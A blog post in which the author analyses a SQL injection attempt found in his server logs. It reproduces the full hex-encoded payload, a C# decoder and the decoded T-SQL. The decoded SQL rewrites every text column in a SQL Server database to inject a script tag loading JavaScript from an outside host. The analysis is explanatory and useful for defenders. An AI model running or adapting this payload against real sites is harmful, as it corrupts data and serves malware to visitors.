Hexed SQL – Analysis of a hack attempt

A few days ago, I was browsing through my web site logs. I was scrolling along when I saw an interesting entry (warning, long horizontal scrolling ahead. Please click through to post for easier reading):

/2008/07/15/are-you-malleable-code-editor/?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S)

I thought that looked peculiar, but didn’t think much of it. It wasn’t until the next day that I felt that was a hack attempt. Yeah, my spider sense wasn’t doing very well…

So I took a closer look at it. From the keywords “DECLARE”, “CHAR(4000)”, “SET”, “CAST” and “EXEC”, I gathered this might be an SQL statement. But what’s the long string of characters doing?

Notice the “0x” in the CAST command. Hmm… hexadecimal? To prove this, I wrote a mini program:

StreamWriter sw = new StreamWriter("vince.txt");
string s = "4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72";
int i;
char c;
for (i = 0; i < s.Length; i += 2)
{
    c = Convert.ToChar(Convert.ToInt32(string.Format("0x{0}{1}", s[i], s[i + 1]), 16));
    sw.Write(c);
}
sw.WriteLine();
sw.Close();

That might not be the best way to manipulate hexadecimal, but you should definitely not follow this example.

Lo and behold, I got this (reformatted for legibility):

DECLARE @T varchar(255),@C varchar(4000)

DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

OPEN Table_Cursor
FETCH NEXT FROM  Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] set ['+@C+']=''"></title><script src="http://somesite.cn/csrss/w.js"></script><!--''+['+@C+'] where '+@C+' not like ''%"></title><script src="http://somesite.cn/csrss/w.js"></script><!--''')
FETCH NEXT FROM  Table_Cursor INTO @T,@C
END

CLOSE Table_Cursor
DEALLOCATE Table_Cursor

It was a chunk of SQL statements in hexadecimal! So, let's look at it more closely. Let's start with this part:

select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

sysobjects and syscolumns are system database tables. This automatically rules out Oracle as the database, since Oracle uses all_tables and all_tab_columns. MySQL uses INFORMATION_SCHEMA.TABLES and INFORMATION_SCHEMA.COLUMNS respectively.

That leaves me with Sybase and SQL Server, the other 2 databases that I'm familiar with. Then I saw the query uses xtype. Aha! Sybase's sysobjects table doesn't have the xtype column; it only has the type column!

And so, I deduced that this was probably an attack on web sites running on SQL Servers.

Let's look at the query again. This part a.xtype='u' in the where clause searches for user tables (or tables created by the user or associated applications). This part:

b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167

needs a little more explanation. My digging into the innards of syscolumns tells me that 99, 35, 231 and 167 corresponds to ntext, text, nvarchar, varchar respectively.

Hmm... those 4 look familiar... Oh right, they're data types for storing text in databases. I have a theory as to why char and nchar are not included, but let's focus on the query first.

So in English, the query retrieves all columns of text data type of all user-created database tables. Then in the while loop, an update command in executed. Basically, it updates all the text columns in all the user-created tables to a "certain value". Let's look at this "certain value" (yes, this is THE HACK), shall we?

THE HACK starts with two single quotes, so it becomes just one single quote because of the SQL escape. Then it ends with double quotes and a greater than sign. Huh? Then there's a </title> end tag. This implies there's a starting title tag somewhere.

From this, I deduce that the hacker is assuming (or hoping) one of those text columns will be used in the title tag. This implies that the text columns are assumed to be of moderate length. char and nchar types are not usually used for these types of data, so they're left out (or the hacker didn't think they're worthy). At least that's my theory...

Moving on, we see that there's a script tag. Isn't there always? *smile* The Javascript file comes from a dubious web site from China, based on the web site address. Yes, I've anonymised it so the actual dubious site's address isn't shown (to prevent giving power to the hacker and to lower the chances of search engines banning me). You're welcome to use the C# code above to decipher the chunk of hexadecimal and find out yourself. But please, don't go to that site!

Now I don't quite understand what's with the where clause in the update statement in the exec command. Why didn't the hacker simply update all the columns instead of adding a where clause search filter? It ends up the same anyway... Perhaps it's to mix up the encoded hexadecimal so it's not similar to past attempts...

Anyway, basically THE HACK updates text columns such that if one of the text columns is used in the title tag, the web page loads the malicious Javascript and ends rendering the rest of the page. I have no idea what the Javascript file will do, and I don't intend to find out. The additional damage is the lost of data in the text columns, which is probably not as fatal as the Javascript.

And that's the end of my analysis. I hope that even if it's not relevant to you, you've learnt something from the thought processes that go into this hack investigation.

Comments are closed.